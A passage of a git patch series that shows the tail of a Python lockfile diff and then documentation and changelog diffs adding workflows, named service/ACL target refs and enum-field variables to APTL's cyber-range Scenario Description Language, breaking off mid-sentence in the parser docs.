"sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/72/07/c98a68571dcf256e74f1f816b8cc5eae6eb2d3d5cfa44d37f801619d9166/websockets-16.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:349f83cd6c9a415428ee1005cadb5c2c56f4389bc06a9af16103c3bc3dcc8b7d", size = 174947, upload-time = "2026-01-10T09:23:36.166Z" }, + { url = "https://files.pythonhosted.org/packages/7e/52/93e166a81e0305b33fe416338be92ae863563fe7bce446b0f687b9df5aea/websockets-16.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1aba3340a8dca8db6eb5a7986157f52eb9e436b74813764241981ca4888f03", size = 175260, upload-time = "2026-01-10T09:23:37.409Z" }, + { url = "https://files.pythonhosted.org/packages/56/0c/2dbf513bafd24889d33de2ff0368190a0e69f37bcfa19009ef819fe4d507/websockets-16.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f4a32d1bd841d4bcbffdcb3d2ce50c09c3909fbead375ab28d0181af89fd04da", size = 176071, upload-time = "2026-01-10T09:23:39.158Z" }, + { url = "https://files.pythonhosted.org/packages/a5/8f/aea9c71cc92bf9b6cc0f7f70df8f0b420636b6c96ef4feee1e16f80f75dd/websockets-16.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0298d07ee155e2e9fda5be8a9042200dd2e3bb0b8a38482156576f863a9d457c", size = 176968, upload-time = "2026-01-10T09:23:41.031Z" }, + { url = "https://files.pythonhosted.org/packages/9a/3f/f70e03f40ffc9a30d817eef7da1be72ee4956ba8d7255c399a01b135902a/websockets-16.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:a653aea902e0324b52f1613332ddf50b00c06fdaf7e92624fbf8c77c78fa5767", size = 178735, upload-time = "2026-01-10T09:23:42.259Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] + +[[package]] +name = "zipp" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/02/0f2892c661036d50ede074e376733dca2ae7c6eb617489437771209d4180/zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166", size = 25547, upload-time = "2025-06-08T17:06:39.4Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2e/54/647ade08bf0db230bfea292f893923872fd20be6ac6f53b2b936ba839d75/zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e", size = 10276, upload-time = "2025-06-08T17:06:38.034Z" }, +] From 753d26012052c8a13a3d30268be548eb06cf7ec2 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 21:50:06 -0700 Subject: [PATCH 13/15] Fix parsing and validator issues --- CHANGELOG.md | 5 +- docs/adrs/README.md | 1 + .../adr-014-scenario-description-language.md | 9 +- .../adr-015-declarative-sdl-objectives.md | 4 +- ...argetable-subobjects-and-enum-variables.md | 89 ++++ docs/index.md | 4 +- docs/sdl/complex-scenario-authoring-notes.md | 28 +- docs/sdl/complex-scenarios.md | 2 +- docs/sdl/index.md | 11 +- docs/sdl/limitations.md | 4 +- docs/sdl/parser.md | 6 +- docs/sdl/precedents.md | 5 +- docs/sdl/sections.md | 76 +++- docs/sdl/testing.md | 4 +- docs/sdl/validation.md | 14 +- .../hospital-ransomware-surgery-day.sdl.yaml | 32 +- .../port-authority-surge-response.sdl.yaml | 65 ++- examples/satcom-release-poisoning.sdl.yaml | 61 ++- src/aptl/core/sdl/__init__.py | 4 +- src/aptl/core/sdl/_base.py | 24 ++ src/aptl/core/sdl/accounts.py | 12 +- src/aptl/core/sdl/entities.py | 10 +- src/aptl/core/sdl/infrastructure.py | 20 +- src/aptl/core/sdl/nodes.py | 61 ++- src/aptl/core/sdl/objectives.py | 10 +- src/aptl/core/sdl/orchestration.py | 112 ++++- src/aptl/core/sdl/parser.py | 51 ++- src/aptl/core/sdl/scenario.py | 9 +- src/aptl/core/sdl/validator.py | 396 +++++++++++++++--- tests/test_scenarios.py | 49 +++ tests/test_sdl_models.py | 111 ++++- tests/test_sdl_parser.py | 209 +++++++++ tests/test_sdl_validator.py | 348 +++++++++++++++ 33 files changed, 1677 insertions(+), 169 deletions(-) create mode 100644 docs/adrs/adr-016-workflows-targetable-subobjects-and-enum-variables.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 3767b4c85..aeeaf19ea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,11 +10,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed -- **BREAKING**: Removed APTL legacy fields from SDL Scenario model — `metadata`, `mode`, `containers`, `preconditions`, `scoring`, `attack_chain`, `steps`, and `defenses` are no longer part of the SDL specification. The legacy `objectives` block was not kept verbatim; it was replaced by a new declarative SDL `objectives` section that binds actors, targets, timing windows, and success criteria. The SDL now has one clean identity: 20 specification sections with `name` as the only required field. +- **BREAKING**: Removed APTL legacy fields from SDL Scenario model — `metadata`, `mode`, `containers`, `preconditions`, `scoring`, `attack_chain`, `steps`, and `defenses` are no longer part of the SDL specification. The legacy `objectives` block was not kept verbatim; it was replaced by declarative SDL `objectives`, and the SDL now also includes first-class `workflows` for branching/parallel objective control. The SDL now has one clean identity: 21 specification sections with `name` as the only required field. - **BREAKING**: Removed backward-compatibility layer (`sdl/compat.py`) and the `scenarios.py` re-export shim. Runtime code that imported `ScenarioDefinition`, `validate_scenario_containers`, or APTL-specific types from `aptl.core.scenarios` will need updating. - **BREAKING**: APTL legacy scenario YAMLs (with `metadata` block) no longer parse through the SDL. They require migration to SDL format. - Tightened structural validation for the new SDL sections: `content` now requires a `target` plus type-specific anchors (`path`, `source|items`, or `destination`), `accounts` require `node`, and `agents` require `entity`. - Parser boundary tightened: `${var}` placeholders are now rejected in user-defined mapping keys, keeping SDL identifiers concrete at parse/validate time. +- Variable handling expanded: full `${var}` placeholders are now accepted in selected leaf enum-backed property fields (`accounts.password_strength`, `entities.role`, `nodes.os`, `nodes.asset_value.*`, `infrastructure.acls.action`, `objectives.success.mode`) while discriminant `type` fields remain concrete. +- Named service bindings and named ACL rules are now first-class symbolic refs for objectives and relationships via `nodes..services.` and `infrastructure..acls.`. +- Added SDL `workflows` section for branching and parallel objective graphs with DAG validation, reachability checks, and objective-window workflow/step binding. - Moved runtime evaluation models to standalone modules: `aptl.core.objectives` (ObjectiveType, Objective, WazuhAlertValidation, etc.) and `aptl.core.attacks` (AttackStep, MitreReference, ExpectedDetection, etc.). These are runtime evaluation mechanics, distinct from the declarative objective semantics carried by the SDL. - Removed 6 APTL-specific semantic validation passes from the SDL validator - Framing: OCR scoring pipeline (conditions → metrics → evaluations → TLOs → goals) stays in the SDL, and the SDL now also carries declarative objectives. Backend-specific automated validation remains a runtime concern outside the language itself. diff --git a/docs/adrs/README.md b/docs/adrs/README.md index de6897426..c9405a777 100644 --- a/docs/adrs/README.md +++ b/docs/adrs/README.md @@ -37,3 +37,4 @@ We use [MADR](https://adr.github.io/madr/) (Markdown Any Decision Records). Each | [013](adr-013-deployment-abstraction.md) | Deployment Backend Abstraction Layer | accepted | 2026-03-22 | | [014](adr-014-scenario-description-language.md) | Scenario Description Language (SDL) | accepted | 2026-03-29 | | [015](adr-015-declarative-sdl-objectives.md) | Declarative Experiment Objectives in the SDL | accepted | 2026-03-29 | +| [016](adr-016-workflows-targetable-subobjects-and-enum-variables.md) | Workflows, Targetable Sub-Objects, and Leaf Enum Variables in the SDL | accepted | 2026-03-29 | diff --git a/docs/adrs/adr-014-scenario-description-language.md b/docs/adrs/adr-014-scenario-description-language.md index ade607af0..efe536614 100644 --- a/docs/adrs/adr-014-scenario-description-language.md +++ b/docs/adrs/adr-014-scenario-description-language.md @@ -14,20 +14,21 @@ However, the OCR SDL lacks: data/content modeling, user accounts, network access ## Decision -Use the OCR SDL as the starting surface for `aptl.core.sdl`, preserve coverage across the OCR-derived sections, extend that base with 5 new sections adapted from existing systems (not invented), and decouple the language from any specific deployment backend. +Use the OCR SDL as the starting surface for `aptl.core.sdl`, preserve coverage across the OCR-derived sections, extend that base with 7 new sections adapted from existing systems (not invented), and decouple the language from any specific deployment backend. ### Architecture The SDL is a **specification language**, not a deployment tool. It describes *what a scenario is*. A separate provider binding layer (future work) translates SDL specifications into concrete infrastructure. -### Sections (20 total) +### Sections (21 total) -14 OCR-derived base sections + 6 new: +14 OCR-derived base sections + 7 new: - `content` (from CyRIS) — data placed into systems - `accounts` (from CyRIS) — user accounts within nodes - `relationships` (from STIX SRO) — typed edges between elements - `agents` (from CybORG) — autonomous participants - `objectives` (from OCR scoring + CACAO workflow context) — declarative experiment semantics +- `workflows` (from CACAO workflow patterns) — branching and parallel objective composition - `variables` (from CACAO) — parameterization ### Identity Model @@ -43,7 +44,7 @@ This is simpler and more composable than a dedicated identity layer. Two-phase validation: 1. **Structural** (Pydantic) — types, ranges, required fields, intra-model constraints -2. **Semantic** (SemanticValidator) — 21 named passes checking cross-references, dependency cycles, IP/CIDR consistency, typed VM/network references, OCR count constraints, and SDL domain rules +2. **Semantic** (SemanticValidator) — 22 named passes checking cross-references, dependency cycles, IP/CIDR consistency, typed VM/network references, OCR count constraints, workflow graph integrity, and SDL domain rules The validator collects all errors rather than failing on the first. diff --git a/docs/adrs/adr-015-declarative-sdl-objectives.md b/docs/adrs/adr-015-declarative-sdl-objectives.md index 6efe3d365..2172a935d 100644 --- a/docs/adrs/adr-015-declarative-sdl-objectives.md +++ b/docs/adrs/adr-015-declarative-sdl-objectives.md @@ -71,6 +71,6 @@ This ADR refines ADR-014's SDL boundary by making declarative objectives part of ### Risks -- If future runtimes need richer control flow, the current objective model may need to evolve toward a more explicit workflow model. -- Authors may infer stronger execution semantics than currently implemented unless `depends_on`, `window`, and success rules are documented precisely. +- If future runtimes need loops, switch/case routing, or exception branches, the current workflow model may need further expansion. +- Authors may infer stronger execution semantics than currently implemented unless `depends_on`, `window`, workflow, and success rules are documented precisely. - Divergence from OCR/CACAO details remains possible if future changes borrow terminology without preserving the underlying conceptual boundary. diff --git a/docs/adrs/adr-016-workflows-targetable-subobjects-and-enum-variables.md b/docs/adrs/adr-016-workflows-targetable-subobjects-and-enum-variables.md new file mode 100644 index 000000000..b83da89a7 --- /dev/null +++ b/docs/adrs/adr-016-workflows-targetable-subobjects-and-enum-variables.md @@ -0,0 +1,89 @@ +# ADR-016: Workflows, Targetable Sub-Objects, and Leaf Enum Variables in the SDL + +## Status + +accepted + +## Date + +2026-03-29 + +## Context + +[ADR-014](adr-014-scenario-description-language.md) established the SDL as a backend-agnostic scenario specification language grounded in the Open Cyber Range (OCR) SDL. [ADR-015](adr-015-declarative-sdl-objectives.md) then restored declarative experiment objectives to the SDL itself. + +When the branch started authoring large, design-first SDL scenarios, three authoring gaps became clear: + +- Some scenario posture choices needed to be parameterized, but leaf enum-backed property fields still rejected `${var}` placeholders. +- Objectives could target nodes, features, relationships, and content, but not directly target named service bindings or named ACL rules, which forced authors to introduce indirection for important control paths. +- Stories/scripts/events gave a temporal layer, and `depends_on` gave partial ordering, but branchy and parallel experiment control still had to be flattened rather than expressed directly. + +Precedent review suggested a coherent direction: + +- **OCR** keeps declarative exercise assessment semantics in the specification layer. +- **CACAO** models workflow intent, targets, and variables declaratively while leaving execution adapters external. +- **OCSF** and **CybORG** both support the idea that service endpoints and network control objects are meaningful scenario elements rather than hidden implementation detail. + +The branch therefore needed a fuller SDL, not a return to legacy runtime-coupled schema. + +## Decision + +Extend the SDL in three coordinated ways. + +### 1. Allow `${var}` in non-discriminant leaf enum-backed property fields + +Full-value `${var}` placeholders are allowed in selected leaf enum-backed property fields such as: + +- `accounts.*.password_strength` +- `entities.*.role` +- `nodes.*.os` +- `nodes.*.asset_value.{confidentiality,integrity,availability}` +- `infrastructure.*.acls[*].action` +- `objectives.*.success.mode` + +Discriminant or schema-shaping enum fields remain concrete, especially section `type` tags and other fields that change the active model shape. + +### 2. Make named service bindings and named ACL rules first-class target refs + +Nested sub-objects become directly referenceable when explicitly named: + +- named VM service bindings resolve as `nodes..services.` +- named ACL rules resolve as `infrastructure..acls.` + +These refs participate in the same objective/relationship resolution rules as other named scenario elements. Service names must be unique within a node, and ACL names must be unique within an infrastructure entry. + +### 3. Add a first-class `workflows` section + +The SDL gains a declarative workflow graph layer that composes declared objectives without introducing a second action-step schema. + +The initial workflow surface supports: + +- `objective` steps +- `if` branches over declarative predicates +- `parallel` fanout with explicit join +- `end` terminal steps + +Workflow graphs are DAGs: every referenced step must exist, every step must be reachable from `start`, and cycles are rejected. + +Objective windows may additionally scope themselves to `workflows` and qualified `steps` using `.` syntax. Stories/scripts/events remain the temporal layer; workflows add a logical decision layer. + +## Consequences + +### Positive + +- Scenario posture can now be parameterized more naturally without giving up a concrete symbol table. +- Important control and trust paths such as service endpoints and ACL decisions can be targeted directly instead of only through indirection. +- Branching and parallel experiment logic is now declarative and inspectable in the SDL itself. +- Large example scenarios can encode more of the actual experiment design they intend to run later. + +### Negative + +- The language surface grows again, increasing the amount of documentation and validation logic that must stay coherent. +- Qualified refs and workflow names introduce more naming conventions that authors must learn. +- Some CACAO concepts are still intentionally excluded, so the presence of `workflows` may create pressure to add richer step types. + +### Risks + +- Authors may overread workflow semantics as executor behavior unless the distinction between declarative control logic and runtime implementation remains explicit. +- Allowing `${var}` in some enum-backed fields but not others creates a sharper policy surface that docs and errors must explain well. +- Workflow step refs use dotted syntax, so workflow and step names must remain compatible with that addressing scheme. diff --git a/docs/index.md b/docs/index.md index fe718b6d1..7ac29d6ff 100644 --- a/docs/index.md +++ b/docs/index.md @@ -48,9 +48,9 @@ aptl lab start ### Scenario Description Language (SDL) - [SDL Overview](sdl/index.md) — What the SDL is and how to use it -- [Sections Reference](sdl/sections.md) — Complete reference for all 20 sections +- [Sections Reference](sdl/sections.md) — Complete reference for all 21 sections - [Parser Behavior](sdl/parser.md) — Key normalization, shorthands, SDL-only parsing -- [Semantic Validation](sdl/validation.md) — Cross-reference checks (21 passes) +- [Semantic Validation](sdl/validation.md) — Cross-reference checks (22 passes) - [Design Precedents](sdl/precedents.md) — Where each element comes from - [Limitations](sdl/limitations.md) — What the SDL cannot express yet - [Testing](sdl/testing.md) — Unit tests, stress tests, fuzz tests diff --git a/docs/sdl/complex-scenario-authoring-notes.md b/docs/sdl/complex-scenario-authoring-notes.md index 5dacdafc0..ceb86eba0 100644 --- a/docs/sdl/complex-scenario-authoring-notes.md +++ b/docs/sdl/complex-scenario-authoring-notes.md @@ -8,16 +8,18 @@ friction does not disappear into chat context. - Initial design goal: author scenarios from explicit design briefs first, then encode them into SDL examples and tests. -- Real authoring friction: enum-backed fields remain concretely typed in - practice. Attempting to parameterize `accounts.*.password_strength` with - `${var}` fails model validation, so the larger examples had to keep - those values literal. This matches the current docs, but it is a real - limitation when trying to make scenario posture tunable. -- Objectives resolve against named scenario elements, but not directly - against service bindings or ACL rules. In practice, that meant the - examples had to make important trust or control paths explicit as - `features` or `relationships` so objectives could target them cleanly. -- Release and recovery stories with branch points still need to be - flattened into `stories` / `scripts` / `events` plus objective - `depends_on`. The examples can express sequencing and windows, but not - true CACAO-style alternate branches or parallel step graphs. +- Resolved: leaf enum-backed property fields can now take full `${var}` + placeholders. The complex examples use this for + `accounts.*.password_strength`, while discriminant `type` fields remain + concrete. +- Resolved: named service bindings and named ACL rules are now first-class + target refs via `nodes..services.` and + `infrastructure..acls.`. The hospital and port + examples use these directly in objectives. +- Resolved: release and recovery flows no longer need to be flattened only + into `stories` / `scripts` / `events` plus `depends_on`. The SDL now + has first-class `workflows` for branching and parallel objective + composition, and the satcom/port examples exercise them. +- Still out of scope: workflows are DAGs only. Loops, switch/case + constructs, exception paths, and richer CACAO step semantics remain + future work. diff --git a/docs/sdl/complex-scenarios.md b/docs/sdl/complex-scenarios.md index 44367fd95..e1b8c8543 100644 --- a/docs/sdl/complex-scenarios.md +++ b/docs/sdl/complex-scenarios.md @@ -84,7 +84,7 @@ red team attempts data theft and radiology disruption? ### SDL Stress Surface -- All 20 sections +- All 21 sections - Hybrid IT + clinical + vendor trust boundaries - Multiple agents with distinct initial knowledge and subnet scope - Objectives that target systems, relationships, and content diff --git a/docs/sdl/index.md b/docs/sdl/index.md index 18b50bc2c..b1b1db68a 100644 --- a/docs/sdl/index.md +++ b/docs/sdl/index.md @@ -1,6 +1,6 @@ # Scenario Description Language (SDL) Reference -The APTL SDL is a YAML-based specification language for describing cyber range scenarios and experiments. It starts from the [Open Cyber Range SDL](https://github.com/Open-Cyber-Range/SDL-parser) surface, preserves coverage across the OCR-derived sections, and extends that base with APTL's additional scenario concepts such as content, accounts, relationships, agents, objectives, and variables. It is intentionally its own SDL rather than a clone-level compatibility layer. +The APTL SDL is a YAML-based specification language for describing cyber range scenarios and experiments. It starts from the [Open Cyber Range SDL](https://github.com/Open-Cyber-Range/SDL-parser) surface, preserves coverage across the OCR-derived sections, and extends that base with APTL's additional scenario concepts such as content, accounts, relationships, agents, objectives, workflows, and variables. It is intentionally its own SDL rather than a clone-level compatibility layer. The SDL describes *what the scenario and experiment mean* — not how to deploy them. A separate backend binding layer (not yet implemented) translates SDL specifications into concrete infrastructure (Docker Compose, Terraform, cloud APIs), and runtime adapters can evaluate SDL-declared conditions/objectives with concrete probes. @@ -17,6 +17,13 @@ In other words: This means a hostname, IP, path, or display string can be variable-backed, but a node cannot be created or renamed through `${...}` inside a mapping key. +Generic cross-section refs such as relationship endpoints and objective targets accept either: + +- bare names like `webapp` when the name is unambiguous +- qualified refs like `nodes.webapp`, `features.nginx`, `accounts.db-admin`, or `infrastructure.dmz-net` when disambiguation is needed + +Named service bindings, named ACL rules, and workflow steps keep their existing qualified forms. + ## Quick Example ```yaml @@ -72,7 +79,7 @@ accounts: ## Documentation -- [SDL Sections Reference](sections.md) — Complete reference for all 20 sections +- [SDL Sections Reference](sections.md) — Complete reference for all 21 sections - [Parser Behavior](parser.md) — Key normalization, shorthand expansion, SDL-only parsing - [Semantic Validation](validation.md) — Cross-reference checks and what the validator enforces - [Design Precedents](precedents.md) — Where each SDL element comes from diff --git a/docs/sdl/limitations.md b/docs/sdl/limitations.md index 01d63d3c9..00798c2c1 100644 --- a/docs/sdl/limitations.md +++ b/docs/sdl/limitations.md @@ -27,7 +27,7 @@ These are things that *should* be expressible in the SDL but aren't yet: | Gap | Description | Candidate Precedent | |-----|-------------|-------------------| | **Module composition** | Import and compose scenario modules with version constraints and parameter overrides | Terraform modules, TOSCA type derivation | -| **Full CACAO-style workflow steps** | Objectives now bind actors, targets, windows, and success in the SDL, but branching/loop/parallel step graphs are still not first-class | CACAO v2.0 workflow types | +| **Loops / switch / exception workflow control** | SDL workflows now support branching and parallel objective graphs, but not loops, switch/case routing, exception paths, or richer step effects | CACAO v2.0 workflow types | | **Temporal operators** | STIX-style FOLLOWEDBY/WITHIN for time-ordered event assertions | STIX Patterning Language | | **Formal verification** | Pre-deployment verification that attack paths are reachable and defenses are consistent | VSDL SMT solver, CRACK Datalog | | **Agent framework bindings** | Gymnasium observation/action space definitions, reward function code | CybORG Gymnasium interface | @@ -40,7 +40,7 @@ Variables (`${var_name}`) are stored as literal strings in the model. They are * - The validator can confirm that a full-value `${var}` reference has a matching variable definition - Cross-reference rules that depend on a placeholder's final concrete value are deferred to instantiation -- Enum-backed fields and user-defined mapping keys are not parameterizable; the parser rejects them +- Selected leaf enum-backed property fields are parameterizable, but discriminant/schema-shaping enums and user-defined mapping keys are still concrete - Type checking of the substituted runtime value is still the instantiating backend's responsibility This is a deliberate design choice (matching CACAO's model) but it still leaves backend substitution semantics as future work. diff --git a/docs/sdl/parser.md b/docs/sdl/parser.md index abefcd4dd..57e78349e 100644 --- a/docs/sdl/parser.md +++ b/docs/sdl/parser.md @@ -31,13 +31,13 @@ Several shorthand forms are expanded before model construction: | `min-score: 50` | `min-score: {percentage: 50}` | | `features: [svc-a, svc-b]` (on nodes) | `features: {svc-a: "", svc-b: ""}` | -Source expansion is skipped inside `relationships` and `agents` sections where `source` is a plain string reference, not a package Source. +Source expansion only applies to actual SDL `source` fields. It is skipped inside `relationships` and `agents` where `source` is a plain string reference, and it does not fire on user-defined map keys that merely happen to be named `source`. Shorthand expansion also works when the shorthand value is a full variable placeholder. For example, `infrastructure: {web: ${replicas}}` expands to `infrastructure: {web: {count: ${replicas}}}`, and `min-score: ${pass_pct}` expands to `min-score: {percentage: ${pass_pct}}`. ## Variables -Full-value `${var_name}` placeholders are preserved as literal strings during parsing. Structural validation currently accepts placeholders in ordinary string fields, common scalar/time fields, and many reference values. The parser does not substitute variables or evaluate expressions. It also rejects placeholders in user-defined mapping keys, because those keys define the SDL symbol table and must stay concrete. +Full-value 